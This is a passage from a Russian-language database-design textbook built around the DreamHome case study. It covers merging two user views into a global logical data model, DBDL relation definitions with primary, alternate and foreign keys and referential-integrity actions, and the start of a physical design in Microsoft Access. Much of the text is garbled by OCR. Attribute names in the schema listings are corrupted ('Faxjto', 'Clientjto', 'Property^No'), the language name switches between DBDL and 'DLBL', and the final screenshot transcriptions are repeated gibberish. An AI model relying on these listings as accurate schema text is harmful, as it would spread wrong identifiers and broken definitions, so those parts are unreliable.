Слияние сущностей с одинаковыми именами, имеющих различные первичные ключи. В некоторых случаях могут быть выявлены сущности, которые, по сути, являются идентичными, но используют различные первичные ключи. Например, сущности Advert в обоих представлениях имеют один и тот же набор атрибутов, но используют различные первичные ключи. В представлении Supervisor для сущности Advert в качестве первичного ключа используется атрибут Advert_No, тогда как в представлении Manager первичным ключом сущности Advert является суперпозиция трех атрибутов — Ргор- erty_No, Date_Advert и Newspaper_Name. Оба первичных ключа являются потенциальными ключами сущности Advert, поэтому можно слить обе сущности локальных представлений в одну сущность, выбрав для нее в качестве первичного ключа один из существующих потенциальных ключей, как показано в листинге 11.2.
Листинг 11.2. Слияние сущности Advert из представлений
Supervisor и Manager
(Представление Supervisor)
Advert (Advert_No, Property_No, Cost, Date_Advert, Newspaper^Name)
Primary Key Advert_No
Alternate Key Property_No, Date_Advert, NewspaperJtame
Foreign Key Property_No references Property_for_Rent(Property^No)
Foreign Key Newspaper_Name references Newspaper(Newspaper_Name)
(Представление Manager)
Advert (Property_No, Cost, Date_Advert, Newspaper_Name)
Primary Key Property_No, Date_Advert, Newspaper_Name
Foreign Key Property_No references Property_for_Rent(Property_No)
Foreign Key Newspaper_Name references Newspaper(Newspaper_Name)
(Глобальное представление)
Advert (Advert_No, Property_No, Cost, Date_Advert, Newspaper_Name)
Primary Key Advert_No
Alternate Key Property_No, Date_Advert, Newspaper_Name
Foreign Key Property_No references Property_for_Rent( Property_No)
Foreign Key Newspaper_Name references Newspaper (News paper_Name)
иоъединенная сущность Advert глооального представления включает все общие атрибуты, а также те атрибуты, которые являются первичными ключами в каждом из представлений. Для объединенной сущности Advert глобального представления в качестве первичного ключа выбран атрибут Advert_No.
Слияние сущностей с различными именами, имеющих одинаковые или различные первичные ключи. В некоторых случаях удается обнаружить сущности, которые имеют различные имена, но складывается впечатление, что они представляют одну и ту же концепцию реального мира. Подобные сущности могут быть выявлены просто по смысловому сходству имен, указывающему на их общее назначение, или же по их участию в одних и тех же типах связей. Например, не представляют ли сущности Client (из представления Supervisor) и Renter (из представления Manager) одну и ту же концепцию реального мира? Эти сущности определенно между собой похожи, поскольку имеют сходный набор атрибутов и участвуют в одних и тех же связях — например, в Holds Lease/Rental_Agreeement и Attends Viewing. После дополнительных консультаций с пользователями окончательно выясняется, что Client и Renter действительно представляют собой одну и ту же сущность.
Включение (без слияния) сущностей, уникальных для каждого локального представления
К настоящему моменту нами уже выявлены все сущности, представляющие одни и те же объекты в обоих представлениях. В качестве побочного результата мы получили набор сущностей, которые являются уникальными для каждого из представлений, — они должны быть помещены в глобальную модель данных без каких-либо изменений. В нашем примере такими сущностями являются Manager и Next_of_Kin из представления Manager, а также сущности Secretary и Inspection из представления Supervisor.
Слияние общих связей из отдельных локальных моделей ■
На этом этапе выполняется анализ имен и назначения всех связей, присутствующих в обоих локальных представлениях. Прежде чем приступать к слиянию связей, очень важно разрешить любые конфликты, касающиеся их кардинальности и степени участия сторон. Имена связей, присутствующих в обоих локальных представлениях, содержатся в табл. 11.2. Обязательной задачей, решаемой на данном этапе, является слияние связей, имеющих одинаковые имена и сходное назначение, а также слияние связей, имеющих различные имена, но идентичное назначение.
Слияние связей, имеющих одинаковые имена и сходное назначение. В табл. 11.2 связи, общие для обоих представлений, выделены полужирным шрифтом. В качестве примера можно привести связи Private/Business_Owner Owns Property_for_Rent.
Следует отметить, что в таблице присутствует несколько связей с одинаковыми именами, но с различными ограничениями. В частности, хотя связь Branch Has Staff присутствует в обоих представлениях, степень участия сущности Staff в этих связях различна. В подобных случаях для уточнения ситуации за разъяснениями следует обращаться к пользователям. После проведенных консультаций выяснилось, что более правильным является описание связи из представления Supervisor, утверждающее, что весь персонал компании работает в том или ином отделении. Таким образом, участие сущности Staff в связи Has следует считать тотальным, как и указано в представлении пользователя Supervisor (см. рис. 11.5).
Как уже отмечалось, следует тщательно контролировать наличие связей с одинаковыми именами, но с различным назначением. В частности, в нашем примере вполне очевидно, что в каждой из локальных моделей связи Staff Manages Prop- erty_for_Rent (представление Supervisor) и Manager Manages Branch (представление Manager) имеют совершенно разное назначение.
Слияние связей, имеющих различные имена, но идентичное назначение. В табл. 11.2 можно найти связи, которые имеют различные имена, но назначение которых в каждом из представлений кажется сходным. Тот факт, что две связи в различных представлениях пользователей соединяют одни и те же сущности, еще ни о чем не говорит, поскольку это может оказаться совершенно случайным явлением. Кроме того, для слияния связей необходимо, чтобы их кардинальность и степень участия сторон были идентичны или подобны. Например, связи Manages (представление Supervisor) и Oversees (представление Manager) соединяют одни и те же сущности — Staff Manages и Oversees Property_for_Rent. Кроме того, кардинальность и степень участия сторон этих связей также идентичны. Следовательно, можно сделать заключение, что отношения Manages и Oversees отражают одну и ту же концепцию реального мира.
Включение (без слияния) связей, уникальных для каждого локального представления
В табл. 11.2 можно выделить связи, которые являются уникальными для каждого из представлений Supervisor и Manager. Эти связи должны быть перенесены в глобальную модель данных без каких-либо изменений. Например, связи Staff CarryOut Inspection и Secretary Supports Allocated_Staff являются уникальными для представления Supervisor, тогда как связи Manager Manages Branch и Staff RelatedTo Next_of_Kin — для представления Manager.
Проверка на наличие пропущенных сущностей и связей
Проверка на наличие пропущенных сущностей и связей, существующих между элементами сливаемых представлений пользователей, является одной из важнейших задач при создании глобальной модели данных. Однако часто эта задача является очень сложной. Сущности и связи могут остаться за пределами локальных представлений в тех случаях, когда имеет место неопределенность по поводу того, кто отвечает за некоторый вид деятельности. Каждый из пользователей может предполагать, что ответственность за выполнение некоторого задания возлагается на другого пользователя, и по этой причине данные и транзакции, необходимые для выполнения этого задания, будут отсутствовать в его локальном представлении. Чаще всего подобные проблемы имеют место в интерфейсах между различными типами представлений.
Проверка корректности внешних ключей
На этом этапе выполняется проверка того, все ли дочерние сущности содержат необходимые им внешние ключи. Особую осторожность следует проявлять в отношении тех сущностей и их связей, которые были непосредственно вовлечены в процесс слияния представлений пользователей. Например, сущность Branch в представлении Supervisor не имеет внешнего ключа, тогда как в глобальном представлении она должна иметь внешний ключ Staff_No (переименованный атрибут Manager_Staff_No), необходимый для представления связи Staff Manages Branch.
Проверка соблюдения ограничений целостности
В глобальной модели следует еще раз проверить все требования, необходимые для поддержания целостности данных, и убедиться, что любые возможные конфликты и противоречия между локальными моделями данных были проанализированы и устранены.
Выполнение чертежа глобальной логической модели данных
На этом этапе рисуется ER-диаграмма вновь созданной глобальной логической модели данных, отражающей объединенные представления пользователей Supervisor и Manager. Глобальная логическая модель данных учебного приложения DreamHome показана на рис. 11.6.
Рис. 11.6. Глобальная логическая модель данных приложения DreamHome
Глобальная модель данных содержит все сущности и связи, помещенные ранее в отдельные локальные представления пользователей. В тех случаях, когда для сущности или связи существовала возможность выбора имени, окончательное решение принималось на основе дополнительного опроса пользователей. Тем не менее при реализации представлений имена, которым отдали предпочтение пользователи, в случае необходимости могут быть изменены.
Обновление документации
На протяжении всего процесса разработки глобальной модели данных документация должна постоянно обновляться с целью отображения любых изменений, внесенных в представления отдельных пользователей. Чрезвычайно важно постоянно под-
держивать актуальность документации, которая всегда должна отражать текущее состояние модели данных.
В приложении 11.3 приведено описание всех отношений, необходимых для реализации глобальной логической модели данных приложения DreamHome, показанной на рис. 11.6. Для описания требований к обеспечению ссылочной целостности внешних ключей были использованы соответствующие операторы языка DLBL.
Этап 3.2. Проверка глобальной логической модели данных
Хотя локальные логические модели данных представлений Supervisor и Manager были проверены еще до выполнения процедуры их слияния в глобальную логическую модель данных приложения DreamHome, существует вероятность того, что при выполнении этой процедуры в глобальную модель данных были внесены новые ошибки. В частности, очень важно проверить созданную глобальную логическую модель данных на соответствие требованиям нормализации и проконтролировать возможность выполнения всех требуемых транзакций.
Этап 3.3. Проверка возможностей расширения модели в будущем
Очень важно, чтобы созданная глобальная логическая модель данных допускала возможность ее расширения в будущем, при изменении требований пользователей. Например, управляющий компании DreamHome может принять решение внести изменения в методы работы компании с объектами, сдаваемыми в аренду. В настоящее время компания DreamHome для проведения ремонтных и отделочных работ заключает договора со сторонними организациями. Однако управляющий планирует в ближайшее время выполнять подобные работы силами самой компании DreamHome. Существующее глобальное представление компании должно допускать внесение необходимых дополнений, отражающих подобные изменения в деятельности фирмы.
Этап 3.4. Создание окончательного варианта диаграммы „сущность - связь"
В нашем учебном примере не потребовалось вносить изменений или дополнений в исходный вариант ER-диаграммы, показанный на рис. 11.6. Этот вариант диаграммы является окончательной версией логического глобального представления предметной области компании DreamHome.
Этап 3.5. Обсуждение глобальной логической модели данных с пользователями
Очень важно обсудить окончательный вариант глобальной логической модели данных с пользователями каждого из представлений. Если в модели будут обнаружены любые ошибки, следует повторйть выполнение соответствующих этапов предлагаемой методологии. Этот процесс обсуждения и устранения замечаний должен продолжаться до тех пор, пока все пользователи не будут удовлетворены предложенным вариантом глобальной логической модели данных. После принятия окончательного варианта модели всеми пользователями можно переходить к следующей фазе проектирования базы данных, заключающейся в физической реализации подготовленного проекта.
Методология выполнения фазы физической реализации для реляционных СУБД была описана в главе 9, “Методология физического проектирования реляционных баз данных”. В главе 12, “Пример разработки физического проекта базы данных”, приведен практический пример выполнения этой фазы проекта с использованием СУБД Microsoft Access в качестве целевой базы данных. В качестве отправной точки будет использована глобальная логическая модель данных приложения DreamHome, разработанная нами в этой главе.
Упражнения
Вопросы к приложению Wellmeadows Hospital
Разработайте и проверьте локальные логические модели данных для всех представлений пользователей приложения Wellmeadows Hospital, которые были выделены при выполнении упражнения 10.1 (глава 10).
Объедините созданные локальные модели данных в единую глобальную модель данных приложения Wellmeadows Hospital. Обоснуйте любые предположения и допущения, сделанные вами при разработке этой модели.
Создайте или откорректируйте документацию, прилагаемую к глобальной логической модели данных приложения Wellmeadows Hospital.
Приложение 11.1. Представление Supervisor из приложения DreamHome
Branch (Branch-No, Street, Area, City, Postcode, Tel_No, Fax_No)
Primary Key BranchNo
Alternate Key TelNo
Alternate Key Fax_No
Staff (Staff_No, FName, LName, Address, Tel_No, Sex, DOB (дата рождения) Job_Title, Typing-Speed, Branch-No)
Primary Key Staff No
Foreign Key Branch-No references Branch(Branch_No)
Allocated Staff (Supervisee_Staff_No, Supervisor-Staff-No,
Secretary-Staff-No)
Primary Key Supervisee Staff-No
Foreign Key Supervisee-Staff_No references Staff(Staff_No)
Foreign Key Supervisor_Staff_No references Staff(Staff_No)
Foreign Key Secretary-Staff-No references Staff (Staff-No)
Property-for Rent (Property_No, Street, Area, City, Postcode, Type, Rooms, Rent, Owner-No, Staff-No, Branch-No)
Primary Key PropertyNo
Foreign Key 0wner_No references Private-Owner (Owner_No) and
BusinesS-Owner(Owner-No)
Foreign Key Staff-No references Staff(Staff-No)
Foreign Key Branch_No references Branch(Branch-No)
Private-Owner (Owner-No, FName, LName, Address, Tel-No)
Primary Key Owner-No
BusinessOwner (Owner-No, BName, BType, Address, Tel-No, Contact-Name)
Primary Key Owner_No
Alternate Key Tel_No
Client (Client-No, FName, LName, Address, Tel-No, Pref_Type, Max_Remt)
Primary Key Client-No
Lease_Agreement (Lease-No, Client-No, Property_No, Rent, Payment-Method, Deposit-Paid, Rent-Start, Rent-Finish, Staff-No)
Primary Key Lease_No
Alternate Key Property^No, Rent^Start
Foreign Key Client_No references Client(Client_No)
Foreign Key Property^No references Property_for_Rent(Property_No)
Foreign Key Staff_No references Staff(Staff_No)
Advert (Advert No, Property No, Date_Advert, Newspaper_Name, Cost)
Primary Key Advert^No *
Alternate Key Property_No, Date_Advert, Newspaper_Name
Foreign Key Property No references Property_for_Rent(Property_No)
Foreign Key Newspaper_Name references Newspaper (Newspaper_Name)
Newspaper (Newspaper^Name, Address, Tel_No, Faxjto, Contact_Name)
Primary Key Newspaper^Name
Alternate Key Tel__No Alternate Key Faxjto
Viewing (Property_No, Clientjto, Date_View, Comments)
Primary Key Property No, Clientjto, DateJ/iew
Foreign Key Property~No references Property_for_Rent(Property_No)
Foreign Key Client_No references Client (Clientjto)
Inspection(Property No, Staff_No, Date_Inspect, Comments)
Primary Key Propertyjto, Staffjto, Date_Inspect
Foreign Key Propertyjto references Property_for_Rent(Property_No)
Foreign Key Staff_No references Staff(Staff No)
Приложение 11.2. Бизнес-правила для представления Supervisor из приложения DreamHome
Каждый работник в любой момент времени может отвечать не более чем за десять объектов, предлагаемых для сдачи в аренду.
Минимальная и максимальная продолжительность договора на аренду составляет соответственно три месяца и один год.
Размер ежемесячной арендной платы пересматривается один раз в год.
Каждый инспектор в любой момент времени должен руководить работой не менее пяти, но не более десяти рядовых сотрудников.
Каждый сданный в аренду объект должен инспектироваться не реже одного раза в шесть месяцев.
Приложение 11.3. Глобальное представление для приложения DreamHome
Branch (Branch_No, Street, Area, City, Postcode, Teljto, Faxjto, ManagerJStaffJto, Manager_Start_Date, Bonus_Payment, Car_Allowance)
Primary Key Branch_No
Alternate Key Teljto
Alternate Key Faxjto
Foreign Key Manager_Staff_No references Staff (Staff_No) on delete SET NULL on update CASCADE
Staff (Staff_No, FName, LName, Address, Tel__No, Sex, DOB (дата рождения) Position, Salary, Date_Joined, NIN (национальный страховой номер), Typing_Speed, Branch_No)
Primary Key Staff__No
Alternate Key NIN
Foreign Key Branch_No references Branch (Branch__No) on delete NO ACTION on update CASCADE
Next_of_Kin (Staff_No, NName, Relationship, Address, Tel__No)
Primary Key Staff_No, NName
Foreign Key Staff_No*references Staff (Staff _No) on delete
CASCADE on update CASCADE
Allocated_Staff (Supervisee_Staff_No, Supervisor_Staff_No,
Secretary_Staff_No)
Primary Key Supervisee_Staff_No
Foreign Key Supervisee_Staff__No references Staff(Staff_No) on delete CASCADE on update CASCADE
Foreign Key Supervisor_Staff_No references Staff(Staff_No) on delete SET NULL on update CASCADE
Foreign Key Secretary_Staff_No references Staff (Staff_No) on delete SET NULL on update CASCADE
PropertyforRent (Property_No, Street, Area, City, Postcode, Type, Rooms, Rent, Owner_No, Staff_No, Branch_No)
Primary Key Property_No
Foreign Key Owner_No references Private_Owner(Owner_No) and
Business_Owner (Owner_No) on delete NO ACTION on update CASCADE
Foreign Key Staff__No references Staff (Staff _No) on delete SET NULL on update CASCADE-
Foreign Key Branch_No references Branch (Branch_No)
on delete SET DEFAULT on update CASCADE
Privateowner (Owner_No, FName, LName, Address, Tel_No)
Primary Key Owner__No
Businessowner (Owner__No, BName, BType, Address, Tel_No, Contact_Name)
Primary Key OwnerNo
Alternate Key TelNo
Renter (Renter_No, FName, LName, Address, Tel_No, Pref_Type, Max__Rent,
Branch_No)
Primary Key Renter_No
Foreign Key Branch__No references Branch (Branch_No) on delete NO ACTION on update CASCADE
Lease_Agreement (Lease_No, Renter_No, Property_No, Payment_Method, Deposite_Amount, Deposit_Paid, Rent_Start, Rent_Finish)
Primary Key Lease_No
Alternate Key Property_No, Rent_Start
Foreign Key Renter_No references Rentert(Renter_No) on delete NO ACTION on update CASCADE
Foreign Key Property_No references Property_for__Rent(Property_No) on delete NO ACTION on update CASCADE *
Advert (Advert__No, Property__No, Cost, Date__Advert, Newspaper__Name)
Primary Key Advertjto
Alternate Key Property_No, Date^Advert, Newspaper__Name
Foreign Key Property_No references Property_for__Rent(Property_No) on delete NO ACTION on update CASCADE
Foreign Key Newspaper_Name references Newspaper (Newspaper__Name) on delete NO ACTION on update CASCADE
Newspaper (Newspaper_Name, Address, Tel_No, Fax_No, Contact_Name)
Primary Key Newspaper_Name
Alternate Key Tel__No
Alternate Key Fax_No
Viewing (Property_No, Renter No, Date_View, Comments)
Primary Key PropertyJto, Renterjto, Date^View
Foreign Key Property^No references Property_for_Rent(Property_No) on delete CASCADE on update CASCADE
Foreign Key Renter_No references Renter (Renter__No) on delete CASCADE on update CASCADE
Inspection(Property_No, Staff_No, Date_Inspect, Comments)
Primary Key Property_No, Staff_No, Date_Inspect
Foreign Key Property_No references Property_for Jtent(PropertyJto) on delete CASCADE on update CASCADE
Foreign Key Staff_No references Staff(Staff_No) on delete SET NULL on update CASCADE
В этой главе мы на примере проиллюстрируем применение методологии физического проектирования реляционных баз данных, обсуждавшейся в главе 9, “Методология физического проектирования реляционных баз данных”. Данная методология будет использована для разработки физического проекта базы данных на основе логической модели данных приложения DreamHome, созданной в главе 11. (Общий обзор этого учебного приложения можно найти в разделе 1.7.) Затем созданный физический проект базы данных приложения DreamHome будет реализован в среде СУБД Microsoft Access. Реализация функционирующей базы данных поможет нам оценить достоинства и/или недостатки разработанного физического проекта.
В этой главе для иллюстрации приведенных ранее рекомендаций (см. главу 9) по созданию корректных и эффективных систем в качестве целевой СУБД был выбран пакет Microsoft Access. Одна из основных причин, по которой (вместо какой-либо мощной системы) мы остановили свой выбор на СУБД для персональных компьютеров, состоит в желании подчеркнуть тот факт, что полезность и применимость каждой из данных нами рекомендаций определяется, прежде всего, функциональными возможностями целевой СУБД. Другими словами, рекомендуемая методология физического проектирования баз данных всегда должна использоваться с учетом функциональных возможностей целевой СУБД. Например, в данной главе не выполняется этап 5.2, поскольку он предусматривает выбор оптимальной структуры файлов для каждой из таблиц базы данных, что невозможно в среде Microsoft Access.
Поэтому, прежде чем приступать к физическому проектированию базы данных приложения DreamHome, целесообразно бегло ознакомиться с основными функциональными возможностями СУБД Microsoft Access.
Знакомство с СУБД Microsoft Access
В настоящее время на рынке программных средств представлены сотни различных СУБД для платформы IBM PC. Для многих пользователей выбор наиболее подходящего пакета СУБД является трудной задачей. В главе 4 мы обсудили основные функциональные возможности, которые должны приниматься в расчет при выборе целевой СУБД. В данной главе в качестве целевой СУБД для реализации проекта DreamHome будет использоваться пакет Microsoft Access.
Пакет Microsoft Access является типичной СУБД для персональных компьютеров платформы IBM PC, способной обеспечить хранение, сортировку и выборку данных в самых разнообразных приложениях. Кроме того, этот пакет включает инструменты, предназначенные для создания таблиц, запросов, форм и отчетов. Для разработки приложений баз данных пользователям предоставляется собственный макроязык Microsoft Access. Кроме того, при разработке приложений допускается применение языка Microsoft Visual Basic for Application (VBA). СУБД Microsoft Access может использоваться и как автономная система на отдельных персональных компьютерах, и как сетевая СУБД в многопользовательской среде.
Практическое применение методологии физического проектирования реляционных баз данных
Этап 4. Перенос глобальной логической модели данных в среду целевой СУБД
На этом этапе мы преобразуем глобальную логическую модель данных приложения DreamHome в такую форму, которая позволит реализовать данный проект в среде выбранной целевой реляционной СУБД, а именно в среде СУБД Microsoft Access.
Мы начнем с анализа информации, собранной на этапах концептуального и логического проектирования. Затем эта информация будет использована для разработки физического проекта таблиц базы данных приложения DreamHome.
Этап 4.1. Проектирование таблиц базы данных в среде целевой СУБД
Прежде всего следует выделить отношения, которые необходимы для реализации глобальной логической модели данных учебного приложения DreamHome. Все необходимые для этого сведения были получены нами в главе 11, “Пример разработки логического проекта базы данных’’; они включают глобальную логическую модель данных, показанную на рис. 11.6, а также пакет сопроводительной документации, описывающей эту модель. Примеры содержимого отдельных документов из состава сопроводительной документации были приведены в приложениях к главам 10 и 11. Исходной точкой для данного этапа является завершенный логический проект базы данных, а его целью — преобразование логического проекта в физический проект, предназначенный для реализации в среде целевой СУБД Microsoft Access.
Описание структуры каждого из отношений проекта DreamHome было выполнено на языке DBDL (DataBase Design Language), применяемом при разработке реляционных баз данных. Результаты этой работы представлены в приложении 11.3. Описание отношения на языке DBDL включает имя отношения, за которым следует список имен его простых атрибутов, взятый в скобки. Ниже отдельными строками указываются первичный ключ отношения и, если таковые существуют, все его альтернативные и внешние ключи. Дополнительно приводится список ограничений целостности для всех внешних ключей отношения.
Подробные сведения о каждом из атрибутов, присутствующих в глобальной логической модели данных, приводятся в словаре данных (часть этого словаря представлена в приложении 10.3 к главе 10). Для каждого атрибута в словаре данных указывается его домен, включающий сведения о типе данных, длине и любых существующих ограничениях для допустимых значений, принимаемое по умолчанию значение (если таковое имеется), допустимость значения NULL, а также то, является ли данный атрибут производным. (Если последнее справедливо, должен быть описан и способ вычисления его значений.)
После того как вся необходимая информация об отношениях приложения DreamHome будет собрана, можно приступать к разработке проектов реализации этих отношений в виде таблиц базы данных. Безусловно, проект каждой из таблиц должен создаваться с учетом всех функциональных возможностей целевой СУБД.
Документирование проектов реализации отношений в базе данных будет выполнено с помощью средств расширенного языка DBDL, уже использовавшегося нами в главе 11. Расширения языка позволяют записывать определения доменов, установленные значения по умолчанию и сведения о допустимости значения NULL. В качестве примера использования расширенного языка DBDL в листинге 12.1 приведено развернутое описание реализации отношения Property_for_Rent приложения DreamHome в среде целевой СУБД Microsoft Access. Содержимое этого листинга будет детально объяснено ниже, в последующих разделах этой главы.
• Листинг 12.1. Развернутое описание отношения Property_f or_Rent на языке DLBL
domain Property__Number:
Text
length 5
INPUT MASK:
\P>LO99
domain Street:
Text
length 25
domain Area:
Text
length 15
domain City:
Text
length 15
domain Postcode:
Text
length 8
INPUT MASK:
>LLOO\OL
domain PropertyJType:
Text
length 1
domain Propertyjtooms:
Number
RANGE: 1 to
15
domain Propertyjtent:
Currency
RANGE: 6.00'
-9999.00
domain Owner_Number:
Text length 5
INPUT MASK; \C>LO099
domain Staff_Number:
Text length 5
INPUT MASK: \S>L099
domain Branch Number:
Text length 3
INPUT MASK: \B099
PROPRENT(
Property_No:
Property Number REQUIRED,
Street:
Street
REQUIRED,
Area:
area,
City:
city
REQUIRED,
Postcode:
Postcode,
Type:
Property_Type
REQUIRED VALUES: 'B','C','D','E', 'F'f
'M' or 'S'; DEFAULT: 'F',
Rooms:
Property__Rooms
REQUIRED DEFAULT: 4,
Rent:
Property__Rent
REQUIRED DEFAULT: 600.00,
POwnerJto:
Owner__Number,
B0wner_No:
Owner_Number,
Staff_No:
Staff^Number,
Branch No:
Branch Number 1
REQUIRED)
Primary Key Property_No
Foreign Key POwner No references .
Private_Owner(Owner_No)
on
delete NO ACTION
on update CASCADE
Foreign Key BOwner No references
Business_Owner(Owner_No)
on
delete NO ACTION
on update CASCADE
Foreign Key Staff No references Staff(Staff No)
on
delete NO ACTION
on update CASCADE
Foreign Key Branch No references Branch(Branch No)
on
delete NO ACTION
on update CASCADE
В процессе создания физического проекта отношения Property_for_Rent исходный логический проект этого отношения был переработан для подключения необходимых функциональных возможностей целевой СУБД. Ниже приводится несколько конкретных примеров доработки логической модели этого отношения, иллюстрирующих указанный процесс.
В логическом проекте, приведенном в приложении 10.3 к главе 10, атрибут Property_No описан как строка символов переменной длины, которая может быть равна максимум 5 символам. Однако в среде Microsoft Access не делается различий между символьными строками фиксированной и переменной длины, поэтому мы определяем тип данного атрибута просто как Text с длиной 5.
В логическом проекте, приведенном в приложении 11.3, указывается, что отношение Property^or__Rent имеет связи с таблицами Private_Owner, Busi- ness_Owner, Staff и Branch, реализованные с помощью механизма внеш- них/первичных ключей. Если внимательно проанализировать связь между сдаваемыми в аренду объектами и владельцами этих объектов, то можно обнаружить, что владелец (представленный либо частным, либо юридическим лицом) связывается с объектом посредством внешнего ключа Owner__No отношения Property_for_Rent. Однако СУБД Microsoft Access не допускает использования одного и того же внешнего ключа в дочерней таблице для. более чем одной родительской таблицы при условии задания ограничений поддержки ссылочной целостности. Следовательно, если требуется обеспечить автоматическую поддержку ссылочной целостности между связанными таблицами, то необходимо создать отдельные внешние ключи для каждого из двух типов владельцев. Это значит, что при разработке физического проекта отношения Property_for_Rent потребуется ввести два внешних ключа с именами P0wner__No и B0wner_No, представляющих связи с таблицами Private_Owner и Business_Owner соответственно (см. листинг 12.1). И, как
следствие данной операции, потребуется разрешить наличие значения NULL в атрибутах P0wner_No и B0wner_No, поскольку каждый сдаваемый в аренду объект может принадлежать только одному владельцу, который является либо частным, либо юридическим лицом.
В логическом проекте указаны требования поддержки ссылочной целостности между связанными таблицами. Правила обновления и удаления каждого внешнего ключа были установлены с помощью одного из следующих ключевых слов: NO ACTION, CASCADE, SET NULL, SET DEFAULT или NO CHECK. Каждый из вариантов задает определенный тип действий при обновлении или удалении в родительской таблице записи, на которую имеются ссылки в дочерней таблице. Например, правило обновления внешнего ключа Branch_No отношения Property_for__Rent задается ключевым словом CASCADE, а правило удаления — ключевым словом SET DEFAULT. Однако СУБД Microsoft Access в правилах обновления и удаления допускает использование лишь ключевых слов CASCADE и NO ACTION, причем последнее в обоих случаях принимается по умолчанию. В физическом проекте отношения Property_for_Rent требуется отразить тот факт, что целевая СУБД не поддерживает действие SET NULL или SET DEFAULT в правилах удаления. Как следует из листинга 12.1, для правила удаления внешнего ключа Branch_No выбрано значение NO ACTION — вместо значения SET DEFAULT, указанного в приложении 11.3 к главе 11.
По завершении разработки физических проектов отношений базы данных проекта DreamHome можно приступать к реализации каждого из этих отношений в виде таблицы СУБД Microsoft Access. Однако, прежде чем начать создание отдельных таблиц, следует предварительно создать базу данных, которая будет содержать все эти таблицы и другие объекты — например, запросы, формы и отчеты.
Создание базы данных
При запуске СУБД Microsoft Access вслед за окном заставки этого пакета выводится диалоговое окно Microsoft Access, показанное на рис. 12.1. С помощью этого диалогового окна можно создать новую базу данных или открыть одну из уже существующих.
При создании новой базы данных можно выбрать один из двух сценариев — либо начать с создания пустой базы и самостоятельно заполнить ее необходимыми объектами (начиная с нуля), либо воспользоваться мастером Access Wizard, который поможет вам в этом процессе. Работа с мастером Access Wizard напоминает диалог с опытным специалистом по базам данных. Он задает вопросы, касающиеся объектов, которые должны присутствовать в базе данных, а затем создает их в соответствии с полученным от вас описанием. Благодаря этому вы можете с помощью мастера Access Wizard за одну операцию создать базу данных, содержащую различные объекты — таблицы, формы и отчеты. Кроме того, существуют другие мастера, которые помогут вам создать отдельную таблицу, запрос, форму или отчет.
Мы начнем работу с создания новой базы данных с именем DreamHome, без использования мастера Access Wizard. Как уже упоминалось выше, эта база данных будет впоследствии содержать все объекты, предусмотренные проектом. При открытии файла базы данных СУБД Microsoft Access отображает окно Database, показанное на рис. 12.2.
Окно Database — это главный командный пункт, в котором можно создавать или выполнять требуемые действия над любыми объектами в открытой базе данных. Теперь все готово к созданию таблиц базы данных приложения DreamHome. Мы проиллюстрируем этот процесс посредством реализации таблицы Property_for_Rent, описание которой на языке DBDL приведено в листинге 12.1.
Рис. 12Л. Окно приложения Microsoft Access, содержащее диалоговое окно Microsoft Access
Рис. 12.2. Окно Database СУБД Microsoft Access для базы данных приложения DreamHome
Создание таблиц
СУБД Microsoft Access предоставляет несколько способов создания пустых таблиц, что отображено в диалоговом окне New Table, показанном на рис. 12.3.
Например, можно создать таблицу с помощью мастера Table Wizard или посредством ввода данных прямо в пустой бланк сетки данных (datasheet). В последнем случае при сохранении введенных данных каждому столбцу (полю) автоматически назначается соответствующий тип и формат данных. В сетке данные отображаются в виде столбцов и строк, что внешне напоминает вид электронных таблиц. В нашем случае мы будем создавать таблицу Property_for_Rent в режиме Design View.
New TableNew Tableойоййй^ймй a new bble Ь^ймй a new bble ЬDesign View Table Wizard Import Table Link TableDesign View Table Wizard Import Table Link TableDatasheet view.Datasheet view.шш
New Table
New Table
ой
ой
й
й
^ймй a new bble Ь
^ймй a new bble Ь
Design View Table Wizard Import Table Link Table
Design View Table Wizard Import Table Link Table
Datasheet view.
Datasheet view.
ш
ш
Рас. 12.3. Диалоговое окно New Table
Определение полей
В режиме Table Design View для каждого поля в отдельности необходимо ввести всю требуемую информацию, приведенную в листинге 12.1. В частности, необходимо заполнить столбцы Field Name (Имя поля), Data Туре (Тип данных) и Description (Описание). Процедура создания таблицы Property_for_Rent в режиме Design View показана на рис. 12.4.
СУБД Microsoft Access поддерживает различные типы данных, предназначенные для хранения информации разного типа. Для каждого из полей таблицы Property_for_Rent мы выбираем такой тип данных, который обеспечит самый эффективный механизм хранения. Большей части полей этой таблицы назначается тип данных Text — сюда относятся поля Property_No, Street, Area, City, Postcode, POwner^No, B0wner_No, Staff_No и Branch No. Обратите внимание, что в исходном описании отношения Property_for_Rent, представленном в приложении 10.2, эти атрибуты имеют тип символьной строки переменной длины. Однако, как уже упоминалось выше, СУБД Microsoft Access не делает различий между символьными полями переменной и фиксированной длины. Полю Rooms назначен тип данных Number, а поле Rent описано как Currency.
A Microsolt AccessA Microsolt Accessй PROPERTY_FOR_RENljTabteй PROPERTY_FOR_RENljTabteIQIIQIВВЯЯProperty _NoCity Postcode ^УР®POwner_No BOwner^NoStaff _NoProperty _NoCity Postcode ^УР®POwner_No BOwner^NoStaff _No3&||1б!!!13^3&||1б!!!13^pZ| Branch_No|5|й^:||J|||R^l№S6lilll5;^;^1^м^^ \p>L0"pZ| Branch_No|5|й^:||J|||R^l№S6lilll5;^;^1^м^^ \p>L0"Text Text Text TextText Text= Number CurrencyHext Text Text TextText Text Text TextText Text= Number CurrencyHext Text Text Text. Uniquely identifies each property for rent.: Street of property address.Area of property address.' City of property address.Postcode of property address.Code describing the type of property. ■ Number of rooms in a property (excluding bathroom(s)).Monthly rent.Uniquely identifies the person owner of property, Uniquley identifies the business owner of property.. Uniquely identifies each property for rent.: Street of property address.Area of property address.' City of property address.Postcode of property address.Code describing the type of property. ■ Number of rooms in a property (excluding bathroom(s)).Monthly rent.Uniquely identifies the person owner of property, Uniquley identifies the business owner of property.- "ABbWZttreijM^': No5 tridexad. ' ^^"'^Yes (No Duplicates)- "ABbWZttreijM^': No5 tridexad. ' ^^"'^Yes (No Duplicates)'Ж'ЖUniquely identifies the member of staff responsible for the management of property. • > Uniquely identifies the branch office at which the property is registered.(^Uniquely identifies the member of staff responsible for the management of property. • > Uniquely identifies the branch office at which the property is registered.(^A f Ий nwm cSn be up h;M charae^lohg^ гy^ i^^ £t faМролМ^йй^^A f Ий nwm cSn be up h;M charae^lohg^ гy^ i^^ £t faМролМ^йй^^
A Microsolt Access
A Microsolt Access
й PROPERTY_FOR_RENljTabte
й PROPERTY_FOR_RENljTabte
IQI
IQI
В
В
Я
Я
Property _No
City Postcode ^УР®
POwner_No BOwner^No
Staff _No
Property _No
City Postcode ^УР®
POwner_No BOwner^No
Staff _No
3&||1б!!!13^
3&||1б!!!13^
pZ| Branch_No
|5|й^
